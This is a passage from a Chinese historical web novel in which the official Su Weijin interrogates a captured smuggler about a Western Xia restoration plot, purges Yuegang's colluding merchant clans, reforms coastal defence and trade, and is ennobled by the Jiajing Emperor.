比起你们在东南搅风搅雨的手段,我这只是小把戏。
“小把戏?”
陈瞎子嗤笑,“是啊,对你来说,可能只是小把戏。”
广西平叛,广州扫黑,京城斗严党,东南剿倭寇……苏大人这一路,可是风光得很。
他说着,独眼死死盯住苏惟瑾:“但你真以为,抓了我,就能赢了?”
苏惟瑾,你根本不知道自己在对抗什么!
苏惟瑾不动声色:“愿闻其详。”
“哼!”
陈瞎子啐了一口,唾沫星子飞溅,“告诉你也无妨。”
反正……你也活不了多久。
他顿了顿,独眼里闪过一丝狂热:“我等乃大夏遗民!祖上乃是西夏皇族,嵬名氏正统后裔!”
蒙元灭夏后,我族隐姓埋名三百年,积蓄力量,等待复国时机!
洞内安静下来,只有火把燃烧的噼啪声。
周大山在洞口听得瞪大眼睛。
西夏?
那不是西北的王朝吗?
都亡了几百年了,怎么又冒出来了?
苏惟瑾面色如常。
其实他早有猜测,从双屿岛发现西夏文笔记时,就隐隐想到了。
只是没想到,这些人真敢做复国的梦。
“所以,”
他缓缓道,“你们勾结倭寇、贩卖**、搅乱东南,就是为了复国?”
“不错!”
陈瞎子声音拔高,“倭乱可消耗明军,**可控制人心,走私可聚敛财富!”
只要东南大乱,朝廷焦头烂额,九边兵力被牵制,我等便可乘势而起,重建大夏!
他说得激动,铁链哗啦作响:“这大明江山,本就该是我等的!”
朱家不过是暴发户,坐了百年龙庭,就真当自己是天命所归了?
笑话!
苏惟瑾等他发泄完,才问:“就凭你们?”
几百个遗民,几千个倭寇,几万两银子——就想复国?
“你不懂!”
陈瞎子独眼放光,“我们有‘神药’!有巫术!有海外势力!”
日本、琉球、南洋,都有我们的人!
只要时机成熟,振臂一呼……
“时机?”
苏惟瑾打断他,“什么时机?”
陈瞎子闭嘴了。
他知道说多了。
苏惟瑾也不追问,换个方向:“黑巫师首领,叫什么?现在何处?”
沉默。
“你们的‘神药’,配方从哪来的?”
还是沉默。
“倭寇里那些汉人,都是你们招募的?怎么招募的?”
陈瞎子干脆闭上眼睛,一副死猪不怕开水烫的架势。
苏惟瑾笑了。
他朝洞口招招手。
周大山走过来,递过来一个小布包。
布包打开,里面是些白色粉末,在火光下泛着诡异的光泽。
“陈先生,”
苏惟瑾捏起一小撮粉末,“此物,你可认识?”
陈瞎子睁开独眼,瞥了一眼,起初不在意。
但细看之下,瞳孔猛地收缩!
他当然认识。
**膏提纯物!
他们在双屿岛的实验室里,也在研究这个。
把**膏反复熬煮、过滤、结晶,想得到更纯粹、药效更强的“神药”。
但试了无数次,得到的都是黑褐色的糊状物,杂质很多。
可眼前这粉末……洁白,细腻,像盐,又像雪。
纯度之高,他从未见过!
“这……这是什么?”
陈瞎子声音发颤。
“我叫它‘**’。”
苏惟瑾淡淡道,“**中提纯的精华。”
一小撮,就能让人欲仙欲死。
量大些,能让人在极乐中死去——无痛无苦,就像做了场美梦。
他说着,把粉末凑近陈瞎子:“陈先生想尝尝吗?”
陈瞎子喉咙滚动,独眼里闪过一丝渴望,但更多的是恐惧。
他是个老烟鬼,**膏没少用。
知道那玩意儿的厉害——用的时候飘飘欲仙,停了就浑身难受,像万蚁噬心。
可眼前这粉末,看起来比**膏厉害十倍、百倍!
“你……你怎么会有这个?”
他嘶声道。
“我会的多着呢。”
苏惟瑾收起布包,“比如,怎么让**长得更好,怎么提纯更彻底,怎么配出让人一次上瘾、终身难戒的‘极品’。”
他俯身,平视陈瞎子的独眼:“陈先生,咱们做个交易。”
你告诉我黑巫师的下落,我或许……能留你一命。
甚至,给你一点这个,让你舒舒服服过完余生。
陈瞎子浑身发抖。
不是怕,是挣扎。
毒瘾的诱惑,像魔鬼在耳边低语:答应他,就能得到那种极乐。
**那么多同伴,熬了这么多年,图什么?
不如享受享受……
可理智又在呐喊:不能说!
说了就是叛徒!
首领不会放过你的!
两种声音在脑子里打架,陈瞎子脸色惨白,冷汗直流。
苏惟瑾不急。
他重新坐回椅子,慢悠悠倒了杯水——水里加了点“清心散”,有薄荷的清凉气味。
“陈先生慢慢想。”
不过我得提醒你,你们的首领……现在大概已经知道月港出事了。
你说,他是会来救你呢,还是会……灭口?
这话像最后一根稻草,压垮了陈瞎子的心理防线。
“我说……”
他喘着粗气,独眼里最后一点光芒熄灭了,“我说……”
半个时辰后,苏惟瑾走出山洞。
外面天已蒙蒙亮,海面上泛起鱼肚白。
晨风吹来,带着咸腥味,却让人精神一振。
周大山跟出来,压低声音:“大人,那老小子说的……能信吗?”
苏惟瑾走到崖边,望着茫茫大海:“七分真,三分假。”
关键部分应该是真的——他没必要在这时候编谎话。
陈瞎子供出的信息,确实惊人。
黑巫师首领,自称“嵬名承天”,据说是西夏皇室直系后裔,精通巫药之术。
这人年龄不详,长相不详,常年黑袍遮面,声音嘶哑难辨。
他在东南活动多年,暗中发展势力。
双屿岛的实验室只是其中之一,在福建、广东沿海还有几处秘密据点。
但最重要的基地,不在大明境内。
“琉球?”
苏惟瑾喃喃自语。
陈瞎子说,嵬名承天现在在琉球。
琉球国,大明属国,位于台湾和日本之间。
由一系列岛屿组成,最大的叫琉球本岛。
那里天高皇帝远,又有港口可以连通日本、南洋,确实是藏身的好地方。
更关键的是,陈瞎子透露:琉球国内有西夏遗民的势力,已经渗透进王室和贵族阶层。
嵬名承天在那里建有更大的实验室,继续研究“神药”,并以此控制琉球上层,同时联络日本战国大名、南洋海盗,编织一张更大的网。
“他们的最终目标,”
苏惟瑾回忆陈瞎子的供词,“是以琉球为跳板,先控制日本部分势力,再**大陆。”
时机成熟时,在东南沿海制造大规模混乱,趁机割据……
周大山听得咋舌:“乖乖,这帮人想得还挺远。可他们哪来那么大本事?”
“**。”
苏惟瑾沉声道,“这才是他们真正的杀器。”
用药物控制人心,比刀枪更可怕。
你想,如果一个国家的贵族、官员、将领,都染上毒瘾,被他们控制……那这个国家,不就等于在他们手里?
周大山倒吸一口凉气:“那……那咱们得赶紧去琉球,把那什么嵬名承天抓回来!”
苏惟瑾摇头:“没那么简单。”
琉球是大明属国,按规矩,大明不能随意派兵进入。
而且琉球孤悬海外,船队远征,补给困难。
更重要的是——
“陈瞎子说,嵬名承天在琉球经营多年,耳目众多。”
咱们大军一动,他立刻就会知道。
到时候往大海里一藏,上哪找去?
“那怎么办?”
周大山急了,“总不能看着他继续祸害人吧?”
苏惟瑾沉默。
他也在想这个问题。
超频大脑飞速运转,分析各种可能性:派小股精锐潜入?风险太大,人生地不熟。
通过外交途径施压?琉球王室可能已经被控制。
联合日本势力?日本现在战国乱世,各方势力复杂……
正想着,苏惟虎从下面跑上来。
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>“大人!”
他气喘吁吁,“月港那边有消息了!”
“说。”
“咱们的人控制了福昌货栈、悦来茶楼等五处据点,抓了四十多人。”
审问下来,陈瞎子在月港的生意,主要是三块:一是走私,把生铁、硫磺、硝石运出去,把番货运进来;二是销赃,倭寇抢来的东西,他负责出手;三是放贷,月港不少商人都欠他钱,被他控制。
苏惟虎顿了顿,压低声音:“还有,林家、王家、郑家三家的人……都来了,在船上等着见您。”
苏惟瑾挑眉:“都来了?”
“都来了。林家家主林耀祖,王家家主王德海,郑家家主郑世荣。”
还带了重礼,说是给钦差大人接风洗尘。
周大山冷哼:“黄鼠狼给鸡拜年!”
苏惟瑾却笑了:“来得正好。走,去见见这些地头蛇。”
他转身要走,又停住,对周大山道:“大山,陈瞎子那边,看紧了。”
给他点水喝,别让他**——还有用。
“明白!”
船队旗舰,议事舱。
三位家主已经等了小半个时辰。
林耀祖五十来岁,圆脸微胖,穿着绸缎员外服,手里盘着两个核桃,看着像个和气生财的商人。
王德海瘦高,山羊胡,眼神精明,正端着茶盏慢慢品。
郑世荣最年轻,三十出头,黑脸膛,手上茧子厚,像常干体力活的,但眼神里透着狠劲。
舱门打开,苏惟瑾走进来。
三人连忙起身行礼:“草民拜见钦差大人!”
“不必多礼,坐。”
苏惟瑾在主位坐下,扫视三人,“三位家主,久等了。”
林耀祖堆笑:“不敢不敢。大人为国剿倭,辛苦劳顿,草民等略备薄礼,给大人接风。”
说着,他拍拍手。
外面进来六个家丁,抬着三口箱子。
箱子打开,珠光宝气。
第一箱是金银器皿:金元宝、银锭、玉如意、翡翠摆件。
第二箱是绸缎:苏绣、蜀锦、漳绒,都是上等货。
第三箱是海外奇珍:西洋自鸣钟、玻璃镜子、珊瑚树。
价值不菲。
苏惟瑾看了一眼,淡淡道:“三位有心了。不过本官奉旨剿倭,不敢收受礼物,以免瓜田李下之嫌。”
三人脸色微变。
王德海干笑:“大人清正,草民佩服。不过这只是地方父老的一点心意,绝无他意……”
“是吗?”
苏惟瑾端起茶盏,“那本官倒想问一句——三位与陈瞎子,是什么关系?”
这话一出,舱内气温骤降。
郑世荣手按在椅子扶手上,青筋暴起。
王德海额头冒汗。
林耀祖勉强笑道:“大人说笑了,那陈瞎子是个江湖败类,草民等正经商人,怎会与他有牵扯?”
“哦?”
苏惟瑾放下茶盏,“可本官查获的账册上,明明白白记着:林家福昌货栈,去年十月代陈瞎子运出硫磺三百斤;王家船行,十一月帮他运过两船生铁;郑家码头上个月还有陈瞎子的货进港——这些,三位怎么解释?”
三人脸色惨白。
苏惟瑾继续道:“本官也知道,月港这地方,水至清则无鱼。”
有些事,睁只眼闭只眼就过去了。
但勾结倭寇、祸乱沿海——这是灭族的大罪。
他站起身,走到窗前,背对三人:“本官给你们一条路。”
把知道的都说出来,陈瞎子还有哪些同党,倭寇在月港的据点,走私的路线……说清楚了,本官可以从轻发落。
若不说——
他转身,眼神冰冷:“那就别怪本官,按律办事了。”
舱内死寂。
只有海浪拍打船舷的声音,哗啦,哗啦。
林耀祖最先崩溃,扑通跪下:“大人饶命!草民说,都说!”
王德海、郑世荣对视一眼,也颓然跪倒。
晨光透过舷窗照进来,把三人的影子拉得很长,很狼狈。
苏惟瑾看着他们,心里却想着另一件事。
琉球……嵬名承天……
这张网,比想象中更大,更深。
月港地头蛇屈服,东南倭乱看似即将平定。
但黑巫师首领嵬名承天远遁琉球,西夏复国阴谋才刚刚揭开一角。苏惟瑾要如何跨海追凶?
琉球乃大明属国,擅自用兵必引发外交风波。
而不除嵬名承天,**之祸便永无宁日。
就在此时,京城传来急报——严嵩**趁苏惟瑾离京,在朝中掀起**浪潮,诬其“擅启边衅”、“劳师靡饷”。
内忧外患同时爆发,苏惟瑾该如何应对?
是回京稳固权位,还是冒险远征琉球?
两难抉择,迫在眉睫。
第378章 肃清月港患,瑾整饬海防
擒下陈瞎子那日清晨,苏惟瑾的船队开进月港码头时,整个港口都轰动了。
二十艘战船依次排开,桅杆如林,旌旗招展。甲板上士兵披甲执锐,刀枪在晨光下闪着寒光。最惹眼的是那艘葡萄牙商船,被改头换面后,如今挂上了明军旗帜,侧舷炮口黑洞洞地对着岸上。
月港的百姓、商人、苦力,全都涌到码头边看热闹。交头接耳,议论纷纷。
“乖乖,那就是苏钦差?看着真年轻!”
“听说在双屿岛打垮了红毛鬼,还生擒了陈瞎子!”
“陈瞎子那老货也有今天?活该!去年借他十两银子,利滚利变成五十两,逼得我差点跳海!”
“小声点,林家、王家那些老爷还在呢……”
苏惟瑾站在旗舰船头,扫视着码头。周大山、苏惟虎、苏惟山分列左右,鹤岑老道拄着拂尘站在稍后,一副仙风道骨的模样。
岸上,林耀祖、王德海、郑世荣三位家主带着几十个当地士绅,早已候在那里。个个神色惶恐,强装镇定。
“下船。”苏惟瑾淡淡道。
接下来的三天,月港经历了前所未有的震荡。
第一天,公审陈瞎子。
苏惟瑾没搞什么三堂会审的虚架子,直接在码头上搭了个高台,让月港百姓都来看。陈瞎子被铁链锁着押上台时,底下扔过来不少烂菜叶、臭鸡蛋。
“独眼龙!还我儿子命来!”
“天杀的!我家的船就是被你劫的!”
“打死他!打死他!”
群情激愤。要不是有士兵拦着,陈瞎子当场就能被撕碎。
苏惟瑾坐在主位,等百姓情绪稍平,才命人宣读罪状。从勾结倭寇、**,到放**、逼**命,一桩桩一件件,念了半个时辰。
每念一条,底下就响起一片骂声。
最后,苏惟瑾当众宣判:陈瞎子及主要同党十八人,斩立决。其余从犯,按罪行轻重,或流放,或徒刑,或罚金。
“行刑!”
周大山亲自操刀。
鬼头刀落下,十八颗人头滚地。血染红了码头青石,引来一群海鸥盘旋。
百姓们先是寂静,随后爆发出震天的欢呼。
“苏青天!”
“青天大老爷!”
有人当场跪下磕头。
苏惟瑾起身,抬手示意安静。
“陈瞎子伏法,但月港之患,不止于此。”他声音清朗,传遍码头,“据查,本地某些豪族,与陈瞎子勾结多年,为其提供掩护、销赃、转运。今日,本官在此明告——主动自首者,可从轻发落。若待本官查实,严惩不贷!”
这话是说给谁听的,大家都明白。
林耀祖、王德海、郑世荣三人,站在人群前排,腿肚子直打颤。
第二天,抄家。
苏惟瑾做事雷厉风行。名单是陈瞎子供出来的,证据是查抄据点时找到的账册,人证是那些被抓的从犯——一环扣一环,想抵赖都没门。
林家、王家、郑家,还有其他几家牵扯较深的,一个没跑掉。
抄家的场面,比行刑还热闹。
士兵们抬出一箱箱金银珠宝、古玩字画、绸缎布匹。码头上堆成了小山,阳光一照,晃得人眼花。
“我的乖乖,这得多少银子啊?”
“林家那仓库里,光生铁就抄出五千斤!还有硫磺、硝石——这都是做**的料啊!”
“王家更狠,地窖里藏的全是倭刀、弓箭,还有火铳!”
百姓们围得里三层外三层,指指点点,议论纷纷。
苏惟瑾当众宣布:所有抄没财物,一半充公,用于整饬海防;三成补偿给这些年受倭寇、恶霸侵害的百姓;两成用于抚恤阵亡将士家属。
至于那些豪族家主,林耀祖、王德海判流放三千里,家产抄没。郑世荣因为牵扯最深,且有命案在身,判斩监候。其余从犯,各有惩处。
一时间,月港风声鹤唳。
那些平日里欺行霸市、与倭寇有霸市、与倭寇有勾连的,纷纷主动投案,只求从轻发落。苏惟瑾倒也说话算话,只要不是首恶,认罪态度好,确有悔改之意的,大多从宽处理。
第三天,整顿市舶司。
月港的市舶司,早就烂到根子里了。从提举到小吏,几乎人人**,对走私睁只眼闭只眼。苏惟瑾将涉案官吏全部革职查办,从浙江、福建其他地方调来一批相对清正的官员接任。
同时,他重新订立贸易规章。
“禁海令形同虚设,反而逼良为盗。”苏惟瑾在码头边的公告栏贴上布告,“自即日起,月港试行‘开海禁,严监管’之策。商船出海,需向市舶司报备货物、航线、船员;入港时,需按货值缴纳关税。凡合法贸易,官府保护;凡走私违禁,严惩不贷。”
布告一出,商民哗然。
有拍手叫好的:“早该这样了!咱们正经做生意,谁愿意提着脑袋走私?”
也有担忧的:“官府收税,会不会太重?”
苏惟瑾早有准备。他公布了关税细则:普通货物,十税一;珍玩奢侈品,十税二;**、硝石等**,严禁贸易。同时承诺,市舶司所有税收,七成上缴国库,三成留作地方海防经费,账目公开,接受监督。
这下,疑虑消了大半。
肃清内患只是第一步。
接下来的两个月,苏惟瑾把精力全放在了整饬海防上。
第一件事,改良装备。
俘获的葡萄牙火炮被仔细研究。苏惟瑾召集了随军的工匠,还有从月港、泉州、福州请来的老铁匠、老木匠,在码头边搭了个临时工坊。
“大人,这炮确实精巧。”一个姓孙的老铁匠摸着炮管,“炮壁薄,但用料好,铸造时加了锡,更耐烧。还有这炮架,有轮子,能转向,比咱们的固定炮台灵活。”
苏惟瑾点头:“能仿制吗?”
“能是能,但……”孙铁匠犹豫,“咱们的冶铁技术,还做不出这么均匀的炮管。而且这炮膛线……”他指着炮管内壁那些螺旋纹路,“这是怎么刻上去的?有了这线,炮弹打出去会旋转,飞得更远更准。”
苏惟瑾笑了。
他当然知道膛线的作用。这可是后世火炮的基本原理。
“孙师傅,”他拿起炭笔,在地上画了个草图,“你看,咱们可以这样:先铸一根实心铁柱,然后在铁柱上刻出螺旋凹槽。再用另一根铁管,烧红后套上去,趁热敲打,让内外管贴合。冷却后,内管的凹槽就会印在外管上,形成膛线。”
孙铁匠眼睛亮了:“妙啊!这法子……可行!”
说干就干。
工坊里炉火昼夜不熄,铁锤叮当响个不停。半个月后,第一门仿制火炮出炉。试射那天,码头上围满了人。
“放!”
炮弹呼啸而出,在空中划出一道弧线,落在三里外的海面上,溅起高高的水柱。
“成了!”孙铁匠激动得老泪纵横。
虽然这门炮的射程、精度还不如葡萄牙原版,但比大明原有的火炮,已经强出一大截。更重要的是,工匠们掌握了方法,接下来可以不断改进。
苏惟瑾下令:全力仿制,优先装备水师战船。
第二件事,建立预警体系。
他命人在沿海要地——海岛制高点、岬角、河口——增建烽火台、瞭望哨。每处驻兵五人,配备望远镜(简易版)、铜锣、狼烟。一旦发现可疑船只,白天燃烟,夜间举火,逐站传递,半个时辰内消息就能传到月港。
“光有烽火台还不够。”苏惟瑾又推行“保甲连坐”。沿海村落,十户一甲,十甲一保。每保自组乡勇,配备刀枪锣鼓。一村遇袭,鸣锣为号,周边村落必须即刻救援。若见死不救,全村连坐。
这法子一开始推行不顺。有些村子嫌麻烦,觉得“倭寇又不常来”。但苏惟瑾态度强硬:不组乡勇的村子,官府不提供保护;组了乡勇但救援不力的,严惩。
很快,效果就出来了。
五月初七,一伙二十多人的倭寇偷袭漳浦县一个小渔村。村里锣声一响,周边三个村的乡勇半个时辰内赶到,把倭寇团团围住。那一仗,打死倭寇十一人,俘虏九人,乡勇只伤了三个人。
消息传开,各地争相效仿。
第三件事,也是最关键的——“以商制盗”。
这日议事,苏惟瑾把这个想法说了出来,周大山第一个跳起来反对。
“大人,这不行啊!”他急道,“让商船自己配武装?那不成私兵了吗?万一他们拿了武器去当海盗怎么办?”
苏惟瑾不急,反问道:“大山,你算过没有,养一个水兵,一年要花多少银子?”
周大山一愣:“这个……大概二十两吧?军饷、粮食、衣甲、兵器……”
“二十两。”苏惟瑾点头,“咱们现在东南水师,满打满算也就两万人。一年光军饷就得四十万两,加上战船维护、火炮**,没有八十万两下不来。可朝廷每年拨给东
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南的军费,才多少?”
苏惟虎接话:“去年是五十万两,还经常拖欠。”
“对。”苏惟瑾道,“光靠朝廷养兵,养不起。所以得想办法,让民间力量也动起来。”
他展开一张海图:“你们看,东南沿海有多少渔船、商船?少说几万艘。这些船常年出海,熟悉海况,船主水手也都是好水性。如果给他们发‘捕盗执照’,允许配备弓箭、刀枪,甚至小炮,发现小股海盗可以自行剿灭,官府按海盗首级给赏金——你们说,会怎么样?”
鹤岑老道捻须道:“重赏之下必有勇夫。那些船主为了赏金,会主动搜寻海盗,等于多了几万双眼睛、几千条船在海上巡逻。”
“就是这个理。”苏惟瑾道,“而且商船武装起来,本身就不容易被劫。海盗抢不到东西,自然就少了。这就叫‘以商制盗’。”
周大山挠头:“可要是他们拿了武器作乱……”
“所以要有规矩。”苏惟瑾早有预案,“执照不是白发的。船主需有保人,船只需登记在册,武器数量、种类需报备。每次出海归港,需接受检查。若用官府发的武器作恶,罪加三等,保人连坐。”
他顿了顿,又道:“此外,官府可以组织‘护航船队’。大商船出海,可以雇佣有执照的武装商船护航,费用由商船出,官府监督。这样,商船安全了,武装船也有收入,海盗更没活路了。”
苏惟虎眼睛亮了:“大人,这法子好!既不用朝廷多花钱,又能肃清海面,还能让百姓有饭吃——一举三得!”
说干就干。
五月中旬,月港市舶司贴出告示:招募“捕盗船”,颁发“捕盗执照”。短短十天,报名船只超过三百艘。苏惟瑾亲自审核,最终批了一百二十艘。这些船大多原本就是做走私生意的,如今“转正”,个个欢天喜地。
效果立竿见影。
六月到八月,东南沿海倭寇袭击次数骤降七成。抓获的海盗里,有一半是这些“捕盗船”的功劳。市舶司发的赏银,加起来还不到十万两——比养两万水兵便宜多了。
八月末,苏惟瑾在月港码头送别一批北归的商船。
海面风平浪静,帆影点点。码头上货物堆积如山,商贩吆喝声此起彼伏。远处新建的烽火台上,旗帜飘扬。
“大人,”月港新任市舶司提举是个姓陈的进士,四十来岁,为人正派,“这三个月,月港关税收了八万两,比去年全年还多。照这个势头,年底突破二十万两不成问题。”
苏惟瑾点头:“好好干。记住,税不是收得越多越好,关键是让商人有钱赚,百姓有饭吃。商路通了,税自然就多了。”
“下官明白。”
这时,周大山快步走来,脸色不太好看。
“大人,京城来信。”
苏惟瑾接过信,拆开一看,眉头微皱。
信是费宏写来的,用密语写成。大意是:严嵩**趁苏惟瑾离京,在朝中大肆攻讦,说他“擅启边衅”、“劳师靡饷”、“纵兵劫掠”。已有十余份弹章送到嘉靖帝案头。虽然暂时被压了下来,但形势不妙。
“大人,咱们是不是该回京了?”周大山低声道。
苏惟瑾收起信,望向南方海面。
那里是琉球的方向。
黑巫师首领嵬名承天还在那里,西夏复国的阴谋还在继续。**之祸,远未根除。
“再等等。”他缓缓道。
“等什么?”
“等一个消息。”
苏惟瑾没说等什么消息,但周大山知道,自家大人心里有数。
正说着,胡三从码头那头跑来,手里捏着个小竹筒。
“公子!琉球来的信!”
苏惟瑾精神一振,接过竹筒。里面是彭友信用密码写的密报,只有一行字:
“嵬名承天仍在琉球,暗中联络日本萨摩藩。似有大动作。速决。”
他把纸条攥在手里,望向南方。
海天相接处,云层低垂。
风暴,又要来了。
东南海防初定,月港重现繁华,苏惟瑾声望如日中天。
但朝中严党趁机发难,弹章如雪;琉球黑巫师联络日本势力,阴谋再起。
两线危机同时逼近,苏惟瑾是该立即回京稳固权位,还是冒险远征琉球斩草除根?
而嵬名承天与日本萨摩藩的“大动作”,究竟是什么?
彭友信的情报网,能否提前预警?平静的海面下,暗流更加汹涌。
第379章 捷报传京师,帝悦晋瑾爵
嘉靖十二年的秋天,京城比往年热闹。
八月初八,东南的捷报六百里加急送进紫禁城时,嘉靖帝正在西苑玉熙宫打坐。鹤童捧着铜盘,里头盛着新炼的“清心丹”——自苏惟瑾离京后,这丹药便由太医院按方制作,虽不及苏惟瑾亲手调配的精纯,但确实让皇帝的精神好了不少。
“陛下,福建捷报!”司礼监掌印太监黄锦捧着奏本,脚步轻快地进来。
嘉靖缓缓睁眼,接过奏本。展开一看,是苏惟瑾亲笔所书,字迹刚劲有力:
“臣惟瑾谨奏:自四月督师东南,历时五月,破双屿倭巢,擒贼首陈瞎子;败红毛夷船于东矶水道,俘其首费尔南多;肃清月港,整顿市舶,重建海防。今东南沿海倭患渐平,商路复通,百姓安业。谨将战果详列于后……”
后面附了长长一串清单:斩获倭寇首级若干,俘获夷商若干,缴获火炮**若干,抄没赃银赃物若干。桩桩件件,实实在在。
嘉靖看着看着,嘴角慢慢弯了起来。
他这两年服“清心丹”,体内毒素渐消,神智清明许多。虽然依旧信道求仙,但至少不再像前些年那样浑浑噩噩。此刻看着这捷报,心里明镜似的——苏惟瑾这小子,是真能办事。
“好,好!”嘉靖连说两个好字,将奏本递给黄锦,“念给朕听听。”
黄锦清了清嗓子,高声诵读。
声音在玉熙宫里回荡,那些斩获数字、缴获清单,听得侍立的太监宫女们心头直跳。乖乖,这才五个月,就办了这么大一件事!
“传旨,”嘉靖待黄锦念完,缓缓起身,“明日早朝,议东南之功。”
翌日,文华殿。
文武百官分列两侧,个个神色肃穆。严嵩站在文官首位,眼皮耷拉着,看不出表情。他身后的党羽们则交头接耳,窃窃私语——他们都得了消息,知道今天要议什么。
“有本奏来,无本退朝——”黄锦拉长声音。
兵部尚书张瓒第一个出列:“陛下,臣有本奏。东南督师苏惟瑾报捷,五个月内平定倭乱,整饬海防,功在社稷。臣请按功行赏,以励将士。”
话音刚落,严党里就有人跳出来了。
都察院右副都御史刘瑾(此刘瑾非正德朝大太监,同名而已)出列道:“陛下,臣以为不妥。苏惟瑾虽有小功,然擅启边衅,与红毛夷交战,恐招致外患。且其在东南大肆抄家,株连过广,有失仁政。”
“刘大人此言差矣。”礼部尚书夏言冷笑,“倭寇劫掠沿海多年,红毛夷武装走私,皆是大明之患。苏惟瑾奉旨剿倭,何来‘擅启边衅’?至于抄家——勾结倭寇、祸乱国家,难道不该严惩?”
“可他也太狠了些!”另一个严党官员道,“月港林家、王家、郑家,都是地方望族,他说抄就抄,说杀就杀,这不是寒了东南士绅的心吗?”
“寒心?”夏言转身,直视那人,“那些士绅勾结倭寇时,可想过寒了百姓的心?倭寇劫掠时,他们分赃;官军剿倭时,他们报信——这等士绅,不该杀?”
殿内吵成一片。
严嵩始终没说话。他眯着眼,心里快速盘算。苏惟瑾的功劳是实打实的,硬驳肯定不行。但也不能让他太得意……
“够了。”嘉靖终于开口。
殿内瞬间安静。
嘉靖扫视群臣,缓缓道:“苏惟瑾之功,朕看了。五个月,平倭乱,整海防,通商路——诸卿谁做得到?”
无人应答。
“既然无人能做到,”嘉靖声音提高,“那他的功劳,就是实实在在的。至于有人说他‘狠’——”
他顿了顿,冷笑:“对敌人仁慈,就是对自己残忍。倭寇杀我百姓时,可曾手软?红毛夷炮击我船时,可曾留情?苏惟瑾若不够狠,今日东南还是一片糜烂!”
这话说得重,严党诸人脸色发白。
严嵩知道,皇帝这是铁了心要赏了。他上前一步,躬身道:“陛下圣明。苏大人之功,确该重赏。只是……赏格该如何定,还需斟酌。”
“严阁老觉得该如何赏?”嘉靖问。
“苏大人已是内阁首辅,加官已无可加。”严嵩捻须道,“不如厚赐金银田宅,以示恩宠。”
“金银田宅?”嘉靖笑了,“严阁老,苏惟瑾在东南抄没的赃银,就不止百万两。朕再赐他十万八万,他看得上吗?”
严嵩语塞。
嘉靖站起身,朗声道:“传旨:苏惟瑾督师东南,不足半载便平定倭乱,整饬海防,功在社稷!加封太子太保,晋爵——靖海伯!”
“靖海伯”三字一出,满殿哗然。
大明开国以来,文臣封爵者寥寥无几。且多是追封,或是因特殊功勋(如王阳明封新建伯)。苏惟瑾以现任首辅之身,因军功封伯,这是天大的荣宠!
“陛下!”刘瑾急道,“文臣封爵,有违祖制……”
“祖制?”嘉靖看他一眼,“太祖高皇帝时,刘伯温是什么爵位?”
刘瑾哑口无言。刘伯温封诚意伯,正是文臣封爵的先例。
“此事已决。”嘉靖一摆手,“拟旨吧。另,赐丹书铁券,**罔替。”
这下连严嵩都惊了。
丹书铁券,**罔替——这是要把“靖海伯”变成与国同休的爵位啊!
圣旨传到福建时,已是九月下旬。
月港新建的船厂里,苏惟瑾正在视察。这船厂占地百亩,沿江而建,分作三区:东区造战船,西区造商船,中区是工匠住所和学堂。眼下有十几艘船同时在造,锯木声、打铁声、号子声,响成一片。
“大人,这艘就是按新图纸造的‘福船’。”负责船厂的老师傅姓郑,是个老船工,此刻指着船坞里一艘骨架已成的大船,“船底加宽,吃水深,稳;船身用硬木,耐撞;帆也改了,能吃八面风。”
苏惟瑾点头:“多久能下水?”
“再有一个月。”郑师傅道,“下水后装上火炮,就是咱们水师新的旗舰!”
正说着,外面传来急促的马蹄声。
周大山快步进来,脸上又是喜又是急:“大人,京城来旨了!传旨的公公已到港,让您去接旨呢!”
苏惟瑾擦擦手上的木屑:“走。”
码头上,传旨太监已设好香案。周围聚满了人——月港的官员、士绅、商人、百姓,都想看看这钦差大人又要得什么赏。
苏惟瑾到了,跪接圣旨。
太监展开黄绢,尖声诵读。当念到“晋爵靖海伯,赐丹书铁券,**罔替”时,周围响起一片倒吸冷气的声音。
封伯了!
文臣封伯,还是世爵!
旨意念完,苏惟瑾叩首:“臣,领旨谢恩。”
他神色平静,看不出多少喜色。倒是周大山、苏惟虎、苏惟山这些亲信,个个喜形于色。苏惟虎捅捅周大山,低声道:“大山哥,咱大人封伯了!靖海伯!听着就威风!”
周大山咧嘴笑:“那是!大人是什么人?封伯还不是应该的!”
传旨太监将圣旨和丹书铁券交给苏惟瑾,又凑近低声道:“伯爷,陛下还有口谕:东南初定,百废待兴,卿可暂留坐镇,待海防稳固,再回京复命。”
苏惟瑾点头:“臣遵旨。”
他明白嘉靖的意思——京城现在暗流汹涌,严党正盯着他。不如留在东南,把这里经营成自己的根基。
接旨当晚,苏府(暂住的宅子)设了简单的宴席。
周大山、苏惟虎、苏惟山、鹤岑、胡三都来了,还有月港新提拔的几个官员。酒过三巡,气氛热烈。
“大人,你现在是靖海伯了,”苏惟虎举杯,“咱们苏家,也出爵爷了!”
苏惟瑾笑笑,抿了口酒。他今年才二十五岁,比苏惟虎还小两岁,可这些年历练下来,气质沉稳得像个中年人。
“爵位是虚名,”他放下酒杯,“关键是东南这块地盘,得牢牢抓在手里。”
周大山挠头:“大人,您已经是钦差,现在又是靖海伯,东南还有谁敢不听您的?”
“明面上不敢,暗地里呢?”苏惟瑾道,“严党在京城虎视眈眈,陈瞎子背后的黑巫师首领还在琉球。东南这些士绅,表面顺从,心里怎么想?咱们得把根扎深。”
他看向众人:“接下来三件事,得抓紧办。”
“第一,‘云裳阁’的总部,从南京迁到月港。依托港口,大力发展海外贸易。生丝、瓷器、茶叶,卖到南洋、日本;换回白银、香料、珍稀木材。这条商路,必须掌握在咱们手里。”
苏惟虎眼睛一亮:“这个好!有了钱,什么事都好办!”
“第二,在月港设‘格物学堂’。”苏惟瑾继续道,“招募工匠子弟,传授改良的造船、火器、纺织技术。咱们不能总靠我一个人出点子,得培养一批懂技术的人才。”
鹤岑捻须道:“伯爷高见。技艺传承,方能生生不息。”
“第三,”苏惟瑾顿了顿,“与当地士绅联姻。”
这话一出,众人都愣了。
苏惟虎小心道:“大人,您已经有五位
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夫人了,这再纳妾……”
“不是我要纳。”苏惟瑾摇头,“是你们。”
他看向苏惟虎:“你今年也二十七了,该成家了。月港林家有个女儿,今年十八,读过书,懂账目。我打听过,人品不错。”
又看向苏惟山:“郑家有个侄女,十九,父亲是海商,常跑南洋。你娶了她,对咱们水师了解外海情况有帮助。”
最后看向周大山:“大山,你也有份。王家……”
“大人!”周大山急得站起来,“俺有媳妇了!婉妹还在京城等着俺呢!”
苏惟瑾笑了:“没让你休妻再娶。是纳妾——东南这边,总得有个知根知底的姻亲。王家女儿是庶出,性子温和,给你做妾,不委屈婉妹。”
周大山这才坐下,嘟囔道:“那也得婉妹同意……”
“我会写信跟她说。”苏惟瑾道,“这些都是权宜之计。咱们要在东南扎根,光靠刀枪不行,还得靠姻亲、靠利益、靠人情。”
